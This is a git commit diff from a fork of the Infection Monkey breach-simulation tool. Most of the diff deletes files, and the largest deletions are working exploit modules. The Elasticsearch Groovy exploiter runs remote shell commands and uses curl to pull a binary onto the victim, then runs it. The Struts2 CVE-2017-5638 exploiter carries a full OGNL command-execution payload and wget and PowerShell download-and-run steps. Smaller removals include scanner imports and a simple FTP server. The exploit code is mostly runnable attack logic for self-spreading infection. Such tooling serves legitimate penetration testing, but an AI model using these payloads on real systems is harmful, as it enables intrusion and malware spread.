forked from p15670423/monkey
Merge branch 'develop' into feature/mssql_exploiter
# Conflicts: # monkey/infection_monkey/config.py # monkey/infection_monkey/example.conf # monkey/infection_monkey/exploit/__init__.py # monkey/monkey_island/cc/services/report.py # monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
This commit is contained in:
commit
bacaf97b77
|
@ -62,9 +62,9 @@ docs/_build/
|
||||||
|
|
||||||
# PyBuilder
|
# PyBuilder
|
||||||
target/
|
target/
|
||||||
db
|
|
||||||
bin
|
bin
|
||||||
/monkey_island/cc/server.key
|
/monkey/monkey_island/db
|
||||||
/monkey_island/cc/server.crt
|
/monkey/monkey_island/cc/server.key
|
||||||
/monkey_island/cc/server.csr
|
/monkey/monkey_island/cc/server.crt
|
||||||
monkey_island/cc/ui/node_modules/
|
/monkey/monkey_island/cc/server.csr
|
||||||
|
/monkey/monkey_island/cc/ui/node_modules/
|
||||||
|
|
11
.travis.yml
11
.travis.yml
|
@ -4,14 +4,11 @@ cache: pip
|
||||||
python:
|
python:
|
||||||
- 2.7
|
- 2.7
|
||||||
- 3.6
|
- 3.6
|
||||||
#- nightly
|
|
||||||
#- pypy
|
|
||||||
#- pypy3
|
|
||||||
matrix:
|
matrix:
|
||||||
allow_failures:
|
include:
|
||||||
- python: nightly
|
- python: 3.7
|
||||||
- python: pypy
|
dist: xenial # required for Python 3.7 (travis-ci/travis-ci#9069)
|
||||||
- python: pypy3
|
sudo: required # required for Python 3.7 (travis-ci/travis-ci#9069)
|
||||||
install:
|
install:
|
||||||
#- pip install -r requirements.txt
|
#- pip install -r requirements.txt
|
||||||
- pip install flake8 # pytest # add another testing frameworks later
|
- pip install flake8 # pytest # add another testing frameworks later
|
||||||
|
|
|
@ -1,238 +0,0 @@
|
||||||
"""
|
|
||||||
Implementation is based on elastic search groovy exploit by metasploit
|
|
||||||
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
|
|
||||||
Max vulnerable elasticsearch version is "1.4.2"
|
|
||||||
"""
|
|
||||||
|
|
||||||
import json
|
|
||||||
import logging
|
|
||||||
|
|
||||||
import requests
|
|
||||||
|
|
||||||
from exploit import HostExploiter
|
|
||||||
from model import DROPPER_ARG
|
|
||||||
from network.elasticfinger import ES_SERVICE, ES_PORT
|
|
||||||
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
|
|
||||||
|
|
||||||
__author__ = 'danielg'
|
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
class ElasticGroovyExploiter(HostExploiter):
|
|
||||||
# attack URLs
|
|
||||||
BASE_URL = 'http://%s:%s/_search?pretty'
|
|
||||||
MONKEY_RESULT_FIELD = "monkey_result"
|
|
||||||
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
|
|
||||||
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
|
|
||||||
JAVA_GET_TMP_DIR = \
|
|
||||||
GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
|
|
||||||
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
|
|
||||||
JAVA_CMD = GENERIC_QUERY \
|
|
||||||
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
|
||||||
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
|
|
||||||
|
|
||||||
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
|
|
||||||
|
|
||||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
|
||||||
|
|
||||||
def __init__(self, host):
|
|
||||||
super(ElasticGroovyExploiter, self).__init__(host)
|
|
||||||
self._config = __import__('config').WormConfiguration
|
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
|
||||||
|
|
||||||
def is_os_supported(self):
|
|
||||||
"""
|
|
||||||
Checks if the host is vulnerable.
|
|
||||||
Either using version string or by trying to attack
|
|
||||||
:return:
|
|
||||||
"""
|
|
||||||
if not super(ElasticGroovyExploiter, self).is_os_supported():
|
|
||||||
return False
|
|
||||||
|
|
||||||
if ES_SERVICE not in self.host.services:
|
|
||||||
LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr)
|
|
||||||
return False
|
|
||||||
major, minor, build = self.host.services[ES_SERVICE]['version'].split('.')
|
|
||||||
major = int(major)
|
|
||||||
minor = int(minor)
|
|
||||||
build = int(build)
|
|
||||||
if major > 1:
|
|
||||||
return False
|
|
||||||
if major == 1 and minor > 4:
|
|
||||||
return False
|
|
||||||
if major == 1 and minor == 4 and build > 2:
|
|
||||||
return False
|
|
||||||
return self.is_vulnerable()
|
|
||||||
|
|
||||||
def exploit_host(self):
|
|
||||||
real_host_os = self.get_host_os()
|
|
||||||
self.host.os['type'] = str(real_host_os.lower()) # strip unicode characters
|
|
||||||
if 'linux' in self.host.os['type']:
|
|
||||||
return self.exploit_host_linux()
|
|
||||||
else:
|
|
||||||
return self.exploit_host_windows()
|
|
||||||
|
|
||||||
def exploit_host_windows(self):
|
|
||||||
"""
|
|
||||||
TODO
|
|
||||||
Will exploit windows similar to smbexec
|
|
||||||
:return:
|
|
||||||
"""
|
|
||||||
return False
|
|
||||||
|
|
||||||
def exploit_host_linux(self):
|
|
||||||
"""
|
|
||||||
Exploits linux using similar flow to sshexec and shellshock.
|
|
||||||
Meaning run remote commands to copy files over HTTP
|
|
||||||
:return:
|
|
||||||
"""
|
|
||||||
uname_machine = str(self.get_linux_arch())
|
|
||||||
if len(uname_machine) != 0:
|
|
||||||
self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
|
|
||||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
|
||||||
if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
|
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
|
||||||
return True # return already infected
|
|
||||||
src_path = get_target_monkey(self.host)
|
|
||||||
if not src_path:
|
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
|
||||||
return False
|
|
||||||
|
|
||||||
if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux):
|
|
||||||
return False
|
|
||||||
|
|
||||||
self.set_file_executable_linux(dropper_target_path_linux)
|
|
||||||
self.run_monkey_linux(dropper_target_path_linux)
|
|
||||||
|
|
||||||
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
|
|
||||||
LOG.info("Log file does not exist, monkey might not have run")
|
|
||||||
|
|
||||||
return True
|
|
||||||
|
|
||||||
def run_monkey_linux(self, dropper_target_path_linux):
|
|
||||||
"""
|
|
||||||
Runs the monkey
|
|
||||||
"""
|
|
||||||
|
|
||||||
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
|
||||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux)
|
|
||||||
cmdline += ' & '
|
|
||||||
self.run_shell_command(cmdline)
|
|
||||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
|
||||||
self._config.dropper_target_path_linux, self.host, cmdline)
|
|
||||||
if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)):
|
|
||||||
LOG.info("Log file does not exist, monkey might not have run")
|
|
||||||
|
|
||||||
def download_file_in_linux(self, src_path, target_path):
|
|
||||||
"""
|
|
||||||
Downloads a file in target machine using curl to the given target path
|
|
||||||
:param src_path: File path relative to the monkey
|
|
||||||
:param target_path: Target path in linux victim
|
|
||||||
:return: T/F
|
|
||||||
"""
|
|
||||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
|
||||||
if not http_path:
|
|
||||||
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
|
|
||||||
return False
|
|
||||||
download_command = '/usr/bin/curl %s -o %s' % (
|
|
||||||
http_path, target_path)
|
|
||||||
self.run_shell_command(download_command)
|
|
||||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
|
||||||
http_thread.stop()
|
|
||||||
if (http_thread.downloads != 1) or (
|
|
||||||
'ELF' not in
|
|
||||||
self.check_if_remote_file_exists_linux(target_path)):
|
|
||||||
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
|
||||||
return False
|
|
||||||
return True
|
|
||||||
|
|
||||||
def set_file_executable_linux(self, file_path):
|
|
||||||
"""
|
|
||||||
Marks the given file as executable using chmod
|
|
||||||
:return: Nothing
|
|
||||||
"""
|
|
||||||
chmod = '/bin/chmod +x %s' % file_path
|
|
||||||
self.run_shell_command(chmod)
|
|
||||||
LOG.info("Marked file %s on host %s as executable", file_path, self.host)
|
|
||||||
|
|
||||||
def check_if_remote_file_exists_linux(self, file_path):
|
|
||||||
"""
|
|
||||||
:return:
|
|
||||||
"""
|
|
||||||
cmdline = '/usr/bin/head -c 4 %s' % file_path
|
|
||||||
return self.run_shell_command(cmdline)
|
|
||||||
|
|
||||||
def run_shell_command(self, command):
|
|
||||||
"""
|
|
||||||
Runs a single shell command and returns the result.
|
|
||||||
"""
|
|
||||||
payload = self.JAVA_CMD % command
|
|
||||||
result = self.get_command_result(payload)
|
|
||||||
LOG.info("Ran the command %s on host %s", command, self.host)
|
|
||||||
return result
|
|
||||||
|
|
||||||
def get_linux_arch(self):
|
|
||||||
"""
|
|
||||||
Returns host as per uname -m
|
|
||||||
"""
|
|
||||||
return self.get_command_result(self.JAVA_GET_BIT_LINUX)
|
|
||||||
|
|
||||||
def get_host_tempdir(self):
|
|
||||||
"""
|
|
||||||
Returns where to write our file given our permissions
|
|
||||||
:return: Temp directory path in target host
|
|
||||||
"""
|
|
||||||
return self.get_command_result(self.JAVA_GET_TMP_DIR)
|
|
||||||
|
|
||||||
def get_host_os(self):
|
|
||||||
"""
|
|
||||||
:return: target OS
|
|
||||||
"""
|
|
||||||
return self.get_command_result(self.JAVA_GET_OS)
|
|
||||||
|
|
||||||
def is_vulnerable(self):
|
|
||||||
"""
|
|
||||||
Checks if a given elasticsearch host is vulnerable to the groovy attack
|
|
||||||
:return: True/False
|
|
||||||
"""
|
|
||||||
result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
|
|
||||||
return 'java.lang.Runtime' in result_text
|
|
||||||
|
|
||||||
def get_command_result(self, payload):
|
|
||||||
"""
|
|
||||||
Gets the result of an attack payload with a single return value.
|
|
||||||
:param payload: Payload that fits the GENERIC_QUERY template.
|
|
||||||
"""
|
|
||||||
result = self.attack_query(payload)
|
|
||||||
if not result: # not vulnerable
|
|
||||||
return ""
|
|
||||||
return result[0]
|
|
||||||
|
|
||||||
def attack_query(self, payload):
|
|
||||||
"""
|
|
||||||
Wraps the requests query and the JSON parsing.
|
|
||||||
Just reduce opportunity for bugs
|
|
||||||
:return: List of data fields or None
|
|
||||||
"""
|
|
||||||
response = requests.get(self.attack_url(), data=payload)
|
|
||||||
result = self.get_results(response)
|
|
||||||
return result
|
|
||||||
|
|
||||||
def attack_url(self):
|
|
||||||
"""
|
|
||||||
Composes the URL to attack per host IP and port.
|
|
||||||
:return: Elasticsearch vulnerable URL
|
|
||||||
"""
|
|
||||||
return self.BASE_URL % (self.host.ip_addr, ES_PORT)
|
|
||||||
|
|
||||||
def get_results(self, response):
|
|
||||||
"""
|
|
||||||
Extracts the result data from our attack
|
|
||||||
:return: List of data fields or None
|
|
||||||
"""
|
|
||||||
try:
|
|
||||||
json_resp = json.loads(response.text)
|
|
||||||
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
|
|
||||||
except (KeyError, IndexError):
|
|
||||||
return None
|
|
|
@ -1,246 +0,0 @@
|
||||||
"""
|
|
||||||
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
|
|
||||||
code used is from https://www.exploit-db.com/exploits/41570/
|
|
||||||
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
|
|
||||||
"""
|
|
||||||
import urllib2
|
|
||||||
import httplib
|
|
||||||
import unicodedata
|
|
||||||
import re
|
|
||||||
|
|
||||||
import logging
|
|
||||||
from exploit import HostExploiter
|
|
||||||
from exploit.tools import get_target_monkey, get_monkey_depth
|
|
||||||
from tools import build_monkey_commandline, HTTPTools
|
|
||||||
from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \
|
|
||||||
DROPPER_ARG
|
|
||||||
|
|
||||||
__author__ = "VakarisZ"
|
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
DOWNLOAD_TIMEOUT = 300
|
|
||||||
|
|
||||||
class Struts2Exploiter(HostExploiter):
|
|
||||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
|
||||||
|
|
||||||
def __init__(self, host):
|
|
||||||
super(Struts2Exploiter, self).__init__(host)
|
|
||||||
self._config = __import__('config').WormConfiguration
|
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
|
||||||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
|
||||||
|
|
||||||
def exploit_host(self):
|
|
||||||
dropper_path_linux = self._config.dropper_target_path_linux
|
|
||||||
dropper_path_win_32 = self._config.dropper_target_path_win_32
|
|
||||||
dropper_path_win_64 = self._config.dropper_target_path_win_64
|
|
||||||
|
|
||||||
ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
|
|
||||||
|
|
||||||
if not ports:
|
|
||||||
LOG.info("All web ports are closed on %r, skipping", self.host)
|
|
||||||
return False
|
|
||||||
|
|
||||||
for port in ports:
|
|
||||||
if port[1]:
|
|
||||||
current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
|
|
||||||
else:
|
|
||||||
current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
|
|
||||||
# Get full URL
|
|
||||||
url = self.get_redirected(current_host)
|
|
||||||
LOG.info("Trying to exploit with struts2")
|
|
||||||
# Check if host is vulnerable and get host os architecture
|
|
||||||
if 'linux' in self.host.os['type']:
|
|
||||||
return self.exploit_linux(url, dropper_path_linux)
|
|
||||||
else:
|
|
||||||
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
|
|
||||||
|
|
||||||
def check_remote_file(self, host, path):
|
|
||||||
command = EXISTS % path
|
|
||||||
resp = self.exploit(host, command)
|
|
||||||
if 'No such file' in resp:
|
|
||||||
return False
|
|
||||||
else:
|
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
|
||||||
return True
|
|
||||||
|
|
||||||
def exploit_linux(self, url, dropper_path):
|
|
||||||
host_arch = Struts2Exploiter.check_exploit_linux(url)
|
|
||||||
if host_arch:
|
|
||||||
self.host.os['machine'] = host_arch
|
|
||||||
if url and host_arch:
|
|
||||||
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
|
||||||
# If monkey already exists and option not to exploit in that case is selected
|
|
||||||
if self.skip_exist and self.check_remote_file(url, dropper_path):
|
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
|
||||||
return True
|
|
||||||
|
|
||||||
src_path = get_target_monkey(self.host)
|
|
||||||
if not src_path:
|
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
|
||||||
return False
|
|
||||||
# create server for http download.
|
|
||||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
|
||||||
if not http_path:
|
|
||||||
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
|
|
||||||
return False
|
|
||||||
LOG.info("Started http server on %s", http_path)
|
|
||||||
|
|
||||||
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
|
|
||||||
|
|
||||||
command = WGET_HTTP % {'monkey_path': dropper_path,
|
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
|
||||||
|
|
||||||
self.exploit(url, command)
|
|
||||||
|
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
|
||||||
http_thread.stop()
|
|
||||||
LOG.info("Struts2 exploit attempt finished")
|
|
||||||
|
|
||||||
return True
|
|
||||||
|
|
||||||
return False
|
|
||||||
|
|
||||||
def exploit_windows(self, url, dropper_paths):
|
|
||||||
"""
|
|
||||||
:param url: Where to send malicious request
|
|
||||||
:param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
|
|
||||||
:return: Bool. Successfully exploited or not
|
|
||||||
"""
|
|
||||||
host_arch = Struts2Exploiter.check_exploit_windows(url)
|
|
||||||
if host_arch:
|
|
||||||
self.host.os['machine'] = host_arch
|
|
||||||
if url and host_arch:
|
|
||||||
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
|
||||||
# If monkey already exists and option not to exploit in that case is selected
|
|
||||||
if self.skip_exist:
|
|
||||||
for dropper_path in dropper_paths:
|
|
||||||
if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
|
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
|
||||||
return True
|
|
||||||
|
|
||||||
src_path = get_target_monkey(self.host)
|
|
||||||
if not src_path:
|
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
|
||||||
return False
|
|
||||||
# Select the dir and name for monkey on the host
|
|
||||||
if "windows-32" in src_path:
|
|
||||||
dropper_path = dropper_paths[0]
|
|
||||||
else:
|
|
||||||
dropper_path = dropper_paths[1]
|
|
||||||
# create server for http download.
|
|
||||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
|
||||||
if not http_path:
|
|
||||||
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
|
|
||||||
return False
|
|
||||||
LOG.info("Started http server on %s", http_path)
|
|
||||||
|
|
||||||
# We need to double escape backslashes. Once for payload, twice for command
|
|
||||||
cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
|
|
||||||
|
|
||||||
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
|
||||||
|
|
||||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
|
||||||
'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG}
|
|
||||||
|
|
||||||
resp = self.exploit(url, command)
|
|
||||||
|
|
||||||
if 'powershell is not recognized' in resp:
|
|
||||||
self.exploit(url, backup_command)
|
|
||||||
|
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
|
||||||
http_thread.stop()
|
|
||||||
LOG.info("Struts2 exploit attempt finished")
|
|
||||||
|
|
||||||
return True
|
|
||||||
|
|
||||||
return False
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def check_exploit_windows(url):
|
|
||||||
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
|
|
||||||
if resp and ID_STRING in resp:
|
|
||||||
if "64-bit" in resp:
|
|
||||||
return "64"
|
|
||||||
else:
|
|
||||||
return "32"
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def check_exploit_linux(url):
|
|
||||||
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
|
|
||||||
if resp and ID_STRING in resp:
|
|
||||||
# Pulls architecture string
|
|
||||||
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
|
||||||
arch = arch.group(1)
|
|
||||||
return arch
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_redirected(url):
|
|
||||||
# Returns false if url is not right
|
|
||||||
headers = {'User-Agent': 'Mozilla/5.0'}
|
|
||||||
request = urllib2.Request(url, headers=headers)
|
|
||||||
try:
|
|
||||||
return urllib2.urlopen(request).geturl()
|
|
||||||
except urllib2.URLError:
|
|
||||||
LOG.error("Can't reach struts2 server")
|
|
||||||
return False
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def exploit(url, cmd):
|
|
||||||
"""
|
|
||||||
:param url: Full url to send request to
|
|
||||||
:param cmd: Code to try and execute on host
|
|
||||||
:return: response
|
|
||||||
"""
|
|
||||||
payload = "%%{(#_='multipart/form-data')." \
|
|
||||||
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
|
|
||||||
"(#_memberAccess?" \
|
|
||||||
"(#_memberAccess=#dm):" \
|
|
||||||
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
|
|
||||||
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
|
|
||||||
"(#ognlUtil.getExcludedPackageNames().clear())." \
|
|
||||||
"(#ognlUtil.getExcludedClasses().clear())." \
|
|
||||||
"(#context.setMemberAccess(#dm))))." \
|
|
||||||
"(#cmd='%s')." \
|
|
||||||
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
|
|
||||||
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
|
|
||||||
"(#p=new java.lang.ProcessBuilder(#cmds))." \
|
|
||||||
"(#p.redirectErrorStream(true)).(#process=#p.start())." \
|
|
||||||
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
|
|
||||||
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
|
|
||||||
"(#ros.flush())}" % cmd
|
|
||||||
# Turns payload ascii just for consistency
|
|
||||||
if isinstance(payload, unicode):
|
|
||||||
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
|
|
||||||
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
|
|
||||||
try:
|
|
||||||
request = urllib2.Request(url, headers=headers)
|
|
||||||
# Timeout added or else we would wait for all monkeys' output
|
|
||||||
page = urllib2.urlopen(request).read()
|
|
||||||
except AttributeError:
|
|
||||||
# If url does not exist
|
|
||||||
return False
|
|
||||||
except httplib.IncompleteRead as e:
|
|
||||||
page = e.partial
|
|
||||||
|
|
||||||
return page
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_exploitable_ports(host, port_list, names):
|
|
||||||
candidate_services = {}
|
|
||||||
for name in names:
|
|
||||||
chosen_services = {
|
|
||||||
service: host.services[service] for service in host.services if
|
|
||||||
('name' in host.services[service]) and (host.services[service]['name'] == name)
|
|
||||||
}
|
|
||||||
candidate_services.update(chosen_services)
|
|
||||||
|
|
||||||
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
|
|
||||||
'tcp-' + str(port) in candidate_services]
|
|
||||||
|
|
||||||
return valid_ports
|
|
|
@ -1,30 +0,0 @@
|
||||||
from abc import ABCMeta, abstractmethod
|
|
||||||
|
|
||||||
__author__ = 'itamar'
|
|
||||||
|
|
||||||
|
|
||||||
class HostScanner(object):
|
|
||||||
__metaclass__ = ABCMeta
|
|
||||||
|
|
||||||
@abstractmethod
|
|
||||||
def is_host_alive(self, host):
|
|
||||||
raise NotImplementedError()
|
|
||||||
|
|
||||||
|
|
||||||
class HostFinger(object):
|
|
||||||
__metaclass__ = ABCMeta
|
|
||||||
|
|
||||||
@abstractmethod
|
|
||||||
def get_host_fingerprint(self, host):
|
|
||||||
raise NotImplementedError()
|
|
||||||
|
|
||||||
from ping_scanner import PingScanner
|
|
||||||
from tcp_scanner import TcpScanner
|
|
||||||
from smbfinger import SMBFinger
|
|
||||||
from sshfinger import SSHFinger
|
|
||||||
from httpfinger import HTTPFinger
|
|
||||||
from elasticfinger import ElasticFinger
|
|
||||||
from mysqlfinger import MySQLFinger
|
|
||||||
from info import local_ips
|
|
||||||
from info import get_free_tcp_port
|
|
||||||
from mssql_fingerprint import MSSQLFinger
|
|
|
@ -1,4 +0,0 @@
|
||||||
from ftp import FTPServer
|
|
||||||
from http import HTTPServer
|
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
|
|
@ -1,174 +0,0 @@
|
||||||
import socket, threading, time
|
|
||||||
import StringIO
|
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
|
||||||
|
|
||||||
|
|
||||||
class FTPServer(threading.Thread):
|
|
||||||
def __init__(self, local_ip, local_port, files):
|
|
||||||
self.files=files
|
|
||||||
self.cwd='/'
|
|
||||||
self.mode='I'
|
|
||||||
self.rest=False
|
|
||||||
self.pasv_mode=False
|
|
||||||
self.local_ip = local_ip
|
|
||||||
self.local_port = local_port
|
|
||||||
threading.Thread.__init__(self)
|
|
||||||
|
|
||||||
def run(self):
|
|
||||||
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
self.sock.bind((self.local_ip,self.local_port))
|
|
||||||
self.sock.listen(1)
|
|
||||||
|
|
||||||
self.conn, self.addr = self.sock.accept()
|
|
||||||
|
|
||||||
self.conn.send('220 Welcome!\r\n')
|
|
||||||
while True:
|
|
||||||
if 0 == len(self.files):
|
|
||||||
break
|
|
||||||
cmd=self.conn.recv(256)
|
|
||||||
if not cmd: break
|
|
||||||
else:
|
|
||||||
try:
|
|
||||||
func=getattr(self,cmd[:4].strip().upper())
|
|
||||||
func(cmd)
|
|
||||||
except Exception as e:
|
|
||||||
self.conn.send('500 Sorry.\r\n')
|
|
||||||
break
|
|
||||||
|
|
||||||
self.conn.close()
|
|
||||||
self.sock.close()
|
|
||||||
|
|
||||||
def SYST(self,cmd):
|
|
||||||
self.conn.send('215 UNIX Type: L8\r\n')
|
|
||||||
def OPTS(self,cmd):
|
|
||||||
if cmd[5:-2].upper()=='UTF8 ON':
|
|
||||||
self.conn.send('200 OK.\r\n')
|
|
||||||
else:
|
|
||||||
self.conn.send('451 Sorry.\r\n')
|
|
||||||
def USER(self,cmd):
|
|
||||||
self.conn.send('331 OK.\r\n')
|
|
||||||
|
|
||||||
def PASS(self,cmd):
|
|
||||||
self.conn.send('230 OK.\r\n')
|
|
||||||
|
|
||||||
def QUIT(self,cmd):
|
|
||||||
self.conn.send('221 Goodbye.\r\n')
|
|
||||||
|
|
||||||
def NOOP(self,cmd):
|
|
||||||
self.conn.send('200 OK.\r\n')
|
|
||||||
|
|
||||||
def TYPE(self,cmd):
|
|
||||||
self.mode=cmd[5]
|
|
||||||
self.conn.send('200 Binary mode.\r\n')
|
|
||||||
|
|
||||||
def CDUP(self,cmd):
|
|
||||||
self.conn.send('200 OK.\r\n')
|
|
||||||
|
|
||||||
def PWD(self,cmd):
|
|
||||||
self.conn.send('257 \"%s\"\r\n' % self.cwd)
|
|
||||||
|
|
||||||
def CWD(self,cmd):
|
|
||||||
self.conn.send('250 OK.\r\n')
|
|
||||||
|
|
||||||
def PORT(self,cmd):
|
|
||||||
if self.pasv_mode:
|
|
||||||
self.servsock.close()
|
|
||||||
self.pasv_mode = False
|
|
||||||
l = cmd[5:].split(',')
|
|
||||||
self.dataAddr='.'.join(l[:4])
|
|
||||||
self.dataPort=(int(l[4])<<8)+int(l[5])
|
|
||||||
self.conn.send('200 Get port.\r\n')
|
|
||||||
|
|
||||||
def PASV(self,cmd):
|
|
||||||
self.pasv_mode = True
|
|
||||||
self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
||||||
self.servsock.bind((self.local_ip,0))
|
|
||||||
self.servsock.listen(1)
|
|
||||||
ip, port = self.servsock.getsockname()
|
|
||||||
self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
|
|
||||||
(','.join(ip.split('.')), port>>8&0xFF, port&0xFF))
|
|
||||||
|
|
||||||
def start_datasock(self):
|
|
||||||
if self.pasv_mode:
|
|
||||||
self.datasock, addr = self.servsock.accept()
|
|
||||||
else:
|
|
||||||
self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
||||||
self.datasock.connect((self.dataAddr,self.dataPort))
|
|
||||||
|
|
||||||
def stop_datasock(self):
|
|
||||||
self.datasock.close()
|
|
||||||
if self.pasv_mode:
|
|
||||||
self.servsock.close()
|
|
||||||
|
|
||||||
def LIST(self,cmd):
|
|
||||||
self.conn.send('150 Here comes the directory listing.\r\n')
|
|
||||||
self.start_datasock()
|
|
||||||
for fn in self.files.keys():
|
|
||||||
k=self.toListItem(fn)
|
|
||||||
self.datasock.send(k+'\r\n')
|
|
||||||
self.stop_datasock()
|
|
||||||
self.conn.send('226 Directory send OK.\r\n')
|
|
||||||
|
|
||||||
def toListItem(self,fn):
|
|
||||||
fullmode='rwxrwxrwx'
|
|
||||||
mode = ''
|
|
||||||
d = '-'
|
|
||||||
ftime=time.strftime(' %b %d %H:%M ', time.gmtime())
|
|
||||||
return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn
|
|
||||||
|
|
||||||
def MKD(self,cmd):
|
|
||||||
self.conn.send('257 Directory created.\r\n')
|
|
||||||
|
|
||||||
def RMD(self,cmd):
|
|
||||||
self.conn.send('450 Not allowed.\r\n')
|
|
||||||
|
|
||||||
def DELE(self,cmd):
|
|
||||||
self.conn.send('450 Not allowed.\r\n')
|
|
||||||
|
|
||||||
def SIZE(self,cmd):
|
|
||||||
self.conn.send('450 Not allowed.\r\n')
|
|
||||||
|
|
||||||
def RNFR(self,cmd):
|
|
||||||
self.conn.send('350 Ready.\r\n')
|
|
||||||
|
|
||||||
def RNTO(self,cmd):
|
|
||||||
self.conn.send('250 File renamed.\r\n')
|
|
||||||
|
|
||||||
def REST(self,cmd):
|
|
||||||
self.pos=int(cmd[5:-2])
|
|
||||||
self.rest=True
|
|
